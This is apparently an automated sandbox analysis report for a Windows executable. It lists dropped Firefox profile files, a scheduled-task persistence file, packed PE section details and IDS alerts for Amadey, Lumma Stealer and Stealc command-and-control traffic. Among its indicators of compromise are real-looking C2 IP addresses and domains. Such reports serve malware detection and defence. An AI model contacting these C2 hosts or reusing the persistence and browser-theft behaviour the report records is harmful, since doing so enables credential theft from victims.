SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkiSFa:DLhesh7Owd4+ji
MD5:	675DD74525F71DD8FB03B3AE304202B5
SHA1:	1B8D611650B0D9BB97664A2FCC54360FCB0056B5
SHA-256:	3D788706D311643E2F35CB510E8F76A9CECC0045799BBD2AFE0395F4AA9DCB1B
SHA-512:	F9121445A1D196E2953E01B4BCD3FA39A1F5081547A18B7A69CA382BAABA0F665AD548CC1CD2B6011C0F5280ECD585A17D12219CFF1E6EADD542A851D8AEBFBB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03715892102240314
Encrypted:	false
SSDEEP:	3:GtlvVC4PckL1lvVC4PckClHlL9//2ltltl:Gt6/O16/dL9XCt1
MD5:	5A1819AF9E62D8939C259FC7A038ABC3
SHA1:	AB9B71A87FC93273A7088601E9073B11A804B297
SHA-256:	5C17FFC5EC2ACD5B9DE2CCA330B2651CA912DD1EC98493D81DC9BD521EB3E415
SHA-512:	D6CF0484A0021894B8B5F59E834B8798C8EF86645D3EC9EC8D2B161CEF5D1D0657D76F58D80BFE8ACBF2FF56593643A384D970666F7D90D7B55E8A2C5E473B00
Malicious:	true
Preview:	..-......................]..l?".N..{+A?......Rs..-......................]..l?".N..{+A?......Rs........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	65616
Entropy (8bit):	0.03458198662814625
Encrypted:	false
SSDEEP:	3:Ol1hgfkto/fVKKeOTa3P9Fiwl8rEXsxdwhml8XW3RTfVKKeOT02Dl8rEXsxdwhmu:KBalK0Qiwl8dMhm93nK0Bl8dMhm93w
MD5:	EAF86F418DCF76296D0D1663AE71EC35
SHA1:	08388E28CC1ECBA4B0FFBF6FD0631AE279C83F6E
SHA-256:	968D56208E52CBA42EED72EA971AFEBBE6516F16C4FAFF7ACEB293D59BE3F610
SHA-512:	18F5C87461B035B54A3FEA1E9FE7657B98FA544A04FBA2C300EB66F212D8DEBA06D13A14571A35E23A6A56BA8A049A590837EA77EFDAC77ED1189E8F12203DE6
Malicious:	true
Preview:	7....-...........N..{+A?.Q..T..........N..{+A?./.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	modified
Size (bytes):	11830
Entropy (8bit):	5.46327952573582
Encrypted:	false
SSDEEP:	192:UnPOeRnLYbBp6pJ0aX+H6SEXK5NpR5RHWNBw8d2Sl:2De4JUasHHEwD0
MD5:	712CBAC1A556BD6E64046F0B279D7D7C
SHA1:	C33926BFC032A8E2EB00B903476121878DB637F9
SHA-256:	907ABE7249FD09FA530602A0949276CBCE7C40388C88811E2955AE4967DB4625
SHA-512:	6854FBE814F7A76CBA21E7C62BD641A88F0AF5FD688A653769F4201FD85C9442CEB64156C1DCD74341D482229A3B1BCD003DEA7CBC29B241E32AAFC98D519828
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11830
Entropy (8bit):	5.46327952573582
Encrypted:	false
SSDEEP:	192:UnPOeRnLYbBp6pJ0aX+H6SEXK5NpR5RHWNBw8d2Sl:2De4JUasHHEwD0
MD5:	712CBAC1A556BD6E64046F0B279D7D7C
SHA1:	C33926BFC032A8E2EB00B903476121878DB637F9
SHA-256:	907ABE7249FD09FA530602A0949276CBCE7C40388C88811E2955AE4967DB4625
SHA-512:	6854FBE814F7A76CBA21E7C62BD641A88F0AF5FD688A653769F4201FD85C9442CEB64156C1DCD74341D482229A3B1BCD003DEA7CBC29B241E32AAFC98D519828
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 8, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	BB6AF1BFE7DFA2D3D28DCA9C1D5C209F
SHA1:	D216BA7AF17521E30A8FFA1E5804827E6995F8D3
SHA-256:	4154A056F32C1395703E6842800E3987C035290F0B5EFAE666DC2DA978391563
SHA-512:	DC6946DE516315407B216C3C3945D820C3D2CA70C6ADE66BC96439CD304E7AF08FB5DBF17F1DD21E299FB3348E1C5F92FD64892FBF13C8FC002A10FEB6AD107B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\g4Cyr2T5jq.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4308277287680804
Encrypted:	false
SSDEEP:	6:gMeTYjnVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lKt0:gMeT4uQ1CGAFifXVKt0
MD5:	2C7D911FB73AC5624648FE282674C157
SHA1:	F6F4EBE950018C482218413FAA6DE16BB0C78D5A
SHA-256:	1C9CA2DBAE3722AF85134A13696803906A867B148F1DFC3AAE96848E1A7D4954
SHA-512:	2B3468DA8C6F43BF1F47A90029C40F226EA483AAC937FD118953F218CB13B21B8DB96B54E05D86FBCE22DBAA8840B8232D10E7D338C6866BBBC46A2B2A7D9C38
Malicious:	false
Preview:	.........(?H... ....F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................&.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948330338573001
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	g4Cyr2T5jq.exe
File size:	1'959'936 bytes
MD5:	7d31fad9b219d539d3c5915dff14a669
SHA1:	dbe2d2eb17f70be6e9646e56c3a0085fe434988e
SHA256:	80ea1e48313acf9319d608d3afe7733cd466d8451ad89b61c4b09c0f7c0764a2
SHA512:	9124347d0f83df486ec445af499b2aa7b01b6a1c4a58d3bfa514988d3593144ccccc25a578908b1fa242389229eeffdb075cd65d45043a8ca74d3663e9adcd9e
SSDEEP:	24576:rS8nJgJ1C6crpULN+/lCHyXKTD0eja0Qtp5sjH9NWtlJl8XPBP4My9GdOTcc4Fq:rOJKK8/lCH/T3alLshNWzJlL7bTs
TLSH:	D295336C485CA367D6984170BEF9A1EB33545A86F01EC7843FE9610B9A677F2EC00D63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8dc000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7728C55C5Ah
shufps xmm3, dqword ptr [00000000h], 00h
jmp 00007F7728C57C55h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4daa90	0x10	ordjlgkm
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4daa40	0x18	ordjlgkm
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	f506304a9a4ae4cc5ce7183621f2ae5a	False	0.9978818971389646	data	7.977901506488262	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b7d16686b376821266a9345c26b7e6d6	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2c3000	0x200	ff72a914626d74151d7bd3bdd287534e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ordjlgkm	0x32e000	0x1ad000	0x1acc00	67c9c03c1621ad5ac16b91d63bc7684d	False	0.9944651967930029	data	7.954202579204902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zsnxwtzn	0x4db000	0x1000	0x600	b60fab8d4f371c088a11f2671f2aae65	False	0.560546875	data	4.933028755838863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4dc000	0x3000	0x2200	3df2673f67b5d0c31445cfcb98ec4513	False	0.0724954044117647	DOS executable (COM)	0.7563731574010449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T08:38:05.076744+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	60964	185.215.113.43	80	TCP
2024-10-24T08:38:08.455905+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	60982	185.215.113.16	80	TCP
2024-10-24T08:38:16.687975+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	60978	TCP
2024-10-24T08:38:16.940458+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	55933	1.1.1.1	53	UDP
2024-10-24T08:38:16.953815+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	53062	1.1.1.1	53	UDP
2024-10-24T08:38:16.966380+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	64436	1.1.1.1	53	UDP
2024-10-24T08:38:16.978614+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	62917	1.1.1.1	53	UDP
2024-10-24T08:38:16.990405+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	63961	1.1.1.1	53	UDP
2024-10-24T08:38:17.002116+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	60882	1.1.1.1	53	UDP
2024-10-24T08:38:17.016310+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	49749	1.1.1.1	53	UDP
2024-10-24T08:38:17.027588+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	56049	1.1.1.1	53	UDP
2024-10-24T08:38:17.609089+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	61008	185.215.113.43	80	TCP
2024-10-24T08:38:18.528343+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	61010	185.215.113.16	80	TCP
2024-10-24T08:38:18.545064+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	61009	104.102.49.254	443	TCP
2024-10-24T08:38:19.826236+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	61011	104.21.53.8	443	TCP
2024-10-24T08:38:19.826236+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	61011	104.21.53.8	443	TCP
2024-10-24T08:38:26.804428+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	61013	185.215.113.43	80	TCP
2024-10-24T08:38:27.730736+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	61015	185.215.113.16	80	TCP
2024-10-24T08:38:27.951398+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:28.228526+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:28.237186+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	61014	TCP
2024-10-24T08:38:28.508291+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:28.515353+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	61014	TCP
2024-10-24T08:38:29.605354+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:30.663656+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:31.459636+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	50650	1.1.1.1	53	UDP
2024-10-24T08:38:31.472131+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	53956	1.1.1.1	53	UDP
2024-10-24T08:38:31.491356+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	49672	1.1.1.1	53	UDP
2024-10-24T08:38:31.503388+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	60339	1.1.1.1	53	UDP
2024-10-24T08:38:31.515942+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	62669	1.1.1.1	53	UDP
2024-10-24T08:38:31.528750+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	52892	1.1.1.1	53	UDP
2024-10-24T08:38:31.540005+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	64789	1.1.1.1	53	UDP
2024-10-24T08:38:31.552125+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	61295	1.1.1.1	53	UDP
2024-10-24T08:38:33.039799+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	61016	104.102.49.254	443	TCP
2024-10-24T08:38:34.493368+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	61017	185.215.113.43	80	TCP
2024-10-24T08:38:35.438482+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	61018	185.215.113.16	80	TCP
2024-10-24T08:38:35.438482+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	61018	185.215.113.16	80	TCP
2024-10-24T08:38:40.469036+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	61027	185.215.113.43	80	TCP
2024-10-24T08:38:41.873841+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:43.926188+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:45.318102+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:46.265352+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:47.969677+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:48.472119+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	61014	185.215.113.37	80	TCP
2024-10-24T08:38:57.032177+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	61050	185.215.113.37	80	TCP
2024-10-24T08:39:03.212611+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	61057	185.215.113.37	80	TCP
2024-10-24T08:39:06.759594+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	55996	1.1.1.1	53	UDP
2024-10-24T08:39:06.771946+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	51551	1.1.1.1	53	UDP
2024-10-24T08:39:06.818813+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	53787	1.1.1.1	53	UDP
2024-10-24T08:39:06.829954+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	63481	1.1.1.1	53	UDP
2024-10-24T08:39:06.840777+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	60782	1.1.1.1	53	UDP
2024-10-24T08:39:06.855932+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	64381	1.1.1.1	53	UDP
2024-10-24T08:39:06.868402+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	64826	1.1.1.1	53	UDP
2024-10-24T08:39:06.881164+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	52542	1.1.1.1	53	UDP
2024-10-24T08:39:07.198628+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	61060	185.215.113.37	80	TCP
2024-10-24T08:39:08.830730+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	61065	104.102.49.254	443	TCP
2024-10-24T08:39:09.812534+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	61076	104.21.53.8	443	TCP
2024-10-24T08:39:09.812534+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	61076	104.21.53.8	443	TCP
2024-10-24T08:39:11.140640+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	61079	104.21.53.8	443	TCP
2024-10-24T08:39:11.140640+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	61079	104.21.53.8	443	TCP
2024-10-24T08:39:13.214841+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	61082	185.215.113.37	80	TCP
2024-10-24T08:39:28.745037+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	61083	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:38:04.166531086 CEST	60964	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:04.171853065 CEST	80	60964	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:04.171950102 CEST	60964	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:04.172106028 CEST	60964	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:04.177773952 CEST	80	60964	185.215.113.43	192.168.2.5
